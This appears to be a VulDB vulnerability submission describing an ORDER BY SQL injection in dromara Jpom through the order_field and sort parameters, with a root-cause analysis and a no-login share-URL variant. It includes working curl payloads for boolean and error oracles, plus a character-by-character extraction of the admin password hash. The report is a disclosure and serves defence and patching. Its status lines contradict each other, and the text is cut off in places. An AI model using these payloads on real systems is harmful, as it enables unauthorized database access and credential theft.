Invia #1082221: dromara Jpom <= v2.11.12 (latest release 2025-05-06; sink present at tag v2.11.12; reproduced on an official source build of tag v2.11.12 - JDK 11, `mvn package`, BUILD SUCCESS -> `server-2.11.12.jar`) SQL injection (ORDER BY)informazioni

Titolodromara Jpom <= v2.11.12 (latest release 2025-05-06; sink present at tag v2.11.12; reproduced on an official source build of tag v2.11.12 - JDK 11, `mvn package`, BUILD SUCCESS -> `server-2.11.12.jar`) SQL injection (ORDER BY)
DescrizioneSQL injection via the `order_field` sorting parameter in Jpom generic list endpoints (ORDER BY concatenation) Vendor: dromara Affected versions: <= v2.11.12 (latest release 2025-05-06; sink present at tag v2.11.12; reproduced on an official source build of tag v2.11.12 - JDK 11, `mvn package`, BUILD SUCCESS -> `server-2.11.12.jar`) Vulnerability class: SQL injection (ORDER BY) (CWE-89) Preconditions: Low privilege. Any authenticated workspace user with access to a generic list endpoint is sufficient - proven at runtime with a non-admin user bound to a single workspace and no system-administration capability (refused on `/user/get_user_list` and `/system/workspace/list`), extracting the admin password-hash characters under that token; requests without a token are refused. The storage database is the shipped default embedded H2. Separately, the `@NotLogin` file-storage download route exposes the same sink to anyone holding a valid `(aliasCode, triggerToken)` share URL - no account at all for that variant. SQL injection via the `order_field` sorting parameter in Jpom generic list endpoints (ORDER BY concatenation) Data flow: `HTTP parameter order_field (POST /build/repository/list, representative of the generic list endpoints; also the sort parameter of the @NotLogin file-storage download route)` → `BaseDbService.listPage` reads it, strips only `%`, and passes it to `DialectUtil.wrapField` → hutool `Wrapper` returns any value containing `(` completely unwrapped → `Order` → `BaseDbCommonService.listPageDb` executes `SELECT * FROM <table> WHERE ... ORDER BY <payload> ASC LIMIT ...` against the storage database (embedded H2 `MODE=MYSQL` in the shipped default configuration) ### Affected interfaces | Interface | |---| | POST /build/repository/list with `order_field=<payload>&order=ascend\|descend` (representative of 38+ generic list endpoints backed by `BaseDbService.listPage`) | | GET /api/file-storage/download/{aliasCode}/{triggerToken}?sort=<payload> (`@NotLogin`, same sink) | Primary route detail: ``` POST /build/repository/list Authorization: <workspace-user JWT> Content-Type: application/x-www-form-urlencoded order_field=<payload>&order=ascend|descend ``` No administrator role is needed: 1. A workspace user token for the endpoint's workspace is enough; the low-privilege account used in the proof is bound to a single workspace and holds no system-administration capability. 2. Requests without a token are refused (`{"code":800,...}`), so the list endpoints themselves are not anonymous. 3. The share-URL variant below is the anonymous surface: `@NotLogin`, guarded only by possession of a valid `(aliasCode, triggerToken)` share pair. ### Root cause 1. `BaseDbService.listPage(Map paramMap)` (`modules/server/src/main/java/org/dromara/jpom/service/h2db/BaseDbService.java:584-648`) reads the request parameter `order_field`, strips only `%`, and builds `new Order(DialectUtil.wrapField(orderField), direction)` (:643-648). 2. For the default H2 mode the wrapper is hutool `cn.hutool.db.sql.Wrapper('`')` (`storage-module-common/.../dialect/DialectUtil.java:39-47`); hutool-db 5.8.34 `Wrapper.wrap` returns the field AS-IS when it contains `(`, `*`, a space, or `" as"` (bytecode-verified) - so any payload with an opening parenthesis passes through unwrapped. 3. `Order.toString()` appends field + direction with no further wrapping (bytecode-verified), and `BaseDbCommonService.listPageDb` (`storage-module-common/.../db/BaseDbCommonService.java:336-348`) executes `db.page(where, page)` -> ``SELECT * FROM `REPOSITORY` WHERE ... ORDER BY <payload> ASC LIMIT ...`` (the injected expression is echoed verbatim in the driver's error message at runtime). 4. No blacklist exists on this path - `ParameterInterceptor` does not filter SQL characters. Missing guard: `order_field` is intended to name a column of the queried table, but it is never validated against the table's column set (allowlist) before being concatenated into the ORDER BY clause; escaping relies entirely on the hutool wrapper, whose passthrough rules (values containing `(`, `*`, space, `" as"` are returned as-is) let arbitrary SQL expressions reach the query. ### Variant: no-login share URL - No-login variant via the file-storage share URL - `HTTP query parameter sort at GET /api/file-storage/download/{aliasCode}/{triggerToken}` (`@NotLogin`, `FileStorageApiController.java:51`) -> the same `Order`/`BaseDbService.listPage` sink (`:85-92` -> `:415-433`); a request holding a valid `(aliasCode, triggerToken)` share pair executes the injected expression with no account at all. The `sort` value cannot contain commas (comma-split at `:86`), which shapes payload construction. Baseline: official tag v2.11.12 source build (JDK 11, BUILD SUCCESS), `server-2.11.12.jar` booted with `-Dspring.config.location=file:application.yml` (the jar's own `config_default` template), server.port 2122, embedded H2 `MODE=MYSQL`. Install: `POST /install_submit.json` with `userName=cv4admin` -> admin JWT (used as the `Authorization` header). Fixture: one repository row created via `POST /build/repository/edit` (local git path). **1. Negative controls (the parameter reaches SQL verbatim as an identifier):** ```bash curl -s -X POST 'http://127.0.0.1:2122/build/repository/list' \ -H 'Authorization: <jwt>' \ --data 'order_field=id&order=ascend' # -> 200, normal ordering curl -s -X POST 'http://127.0.0.1:2122/build/repository/list' \ -H 'Authorization: <jwt>' \ --data 'order_field=zzz_nope&order=ascend' # -> 500, "Column \"ZZZ_NOPE\" not found" (payload reaches SQL verbatim) # wrapper passthrough proof: value WITHOUT '(' is wrapped as a quoted column curl -s -X POST 'http://127.0.0.1:2122/build/repository/list' \ -H 'Authorization: <jwt>' \ --data 'order_field=)))XXX&order=ascend' # -> column error on ORDER BY `)))XXX` (wrapped); values containing '(' pass raw ``` **2. Boolean/error oracle (injected expression echoed by the H2 driver):** ```bash # TRUE branch: simple CASE FALSE=FALSE matches THEN -> no division curl -s -X POST 'http://127.0.0.1:2122/build/repository/list' \ -H 'Authorization: <jwt>' \ --data 'order_field=(case(1=2)when(1=2)then(1)else(1/0)end)&order=ascend' # -> 200 # FALSE branch: falls to ELSE 1/0 -> division by zero, payload echoed in the SQL statement curl -s -X POST 'http://127.0.0.1:2122/build/repository/list' \ -H 'Authorization: <jwt>' \ --data 'order_field=(case(1=2)when(1=1)then(1)else(1/0)end)&order=ascend' # -> 500: Division by zero: "1"; SQL statement: # SELECT * FROM `REPOSITORY` WHERE ... ORDER BY (case(1=2)when(1=1)then(1)else(1/0)end) ASC ``` **3. Data extraction (single-character oracle on the stored sha1 password hash):** ```bash curl -s -X POST 'http://127.0.0.1:2122/build/repository/list' \ -H 'Authorization: <jwt>' \ --data 'order_field=(case(ascii(substr((select(password)from(USER_INFO)where(id='"'"'cv4admin'"'"')),1,1))=99)when(TRUE)then(1)else(1/0)end)&order=ascend' # n=99 -> 200 (first char of the stored sha1 hex = 'c'); all other probed chars -> 500 ``` Iterating the predicate completes full-hash extraction. **4. Low-privilege reproduction (2026-10-06, separate instance on `127.0.0.1:19013`)** - the admin created user `cv4user` (no system-administration capability, bound through permission group `wsuser` to workspace `DEFAULT` only; the account is refused on `/user/get_user_list` and `/system/workspace/list`). Every request below carries only `cv4user`'s token, and the reliable oracle form is the arithmetic one - on this build's H2 (2.1.214) a non-constant `CASE` eagerly evaluates the untaken branch (every probe reports division by zero), so `1/(expr-N)` replaces the CASE form: ```bash curl -s -X POST 'http://127.0.0.1:19013/build/repository/list' -H 'Authorization: <cv4user-jwt>' \ --data 'order_field=(1/(ascii(substr((select(password)from(USER_INFO)where(id=%27cv4admin%27)),1,1))-52))&order=ascend' # -> {"code":500,"msg":"数据库异常 Division by zero: \"1\"; SQL statement: # SELECT * FROM `REPOSITORY` WHERE `workspaceId` IN (?,?) ORDER BY (1/(ascii(substr((select(password) # from(USER_INFO)where(id='cv4admin')),1,1))-52)) ASC limit 0 , 10"} ``` Iterating `-N` over the four positions extracted `84bf` under the low-privilege token - matching the stored sha1 hash read directly from the H2 shell on the same self-hosted instance (`84bf5344...`). Role-separation controls with the same token: `order_field=id` -> 200 with ordered rows; no token -> `{ - **Vendor contact**: GitHub Private Vulnerability Reporting - dromara/Jpom - **Status**: vendor notified 2026-10-06 through GitHub Private Vulnerability Reporting; private report coordinated disclosure via VulDB; no separate vendor channel exists for this project (no PVR, no published security contact); no CVE has been assigned; not publicly disclosed; no CVE assigned - **Dupli
Fonte⚠️ https://github.com/dromara/Jpom
Utente
 lucasg2g (UID 84737)
Sottomissione09/11/2026 08:36 (21 giorni fa)
Moderazione30/11/2026 16:17 (21 days later)
StatoAccettato
Voce VulDB445704 [Dromara Jpom fino a 2.11.13 BaseDbService.java listPage order_field iniezione SQL]
Punti19

Want to know what is going to be exploited?

We predict KEV entries!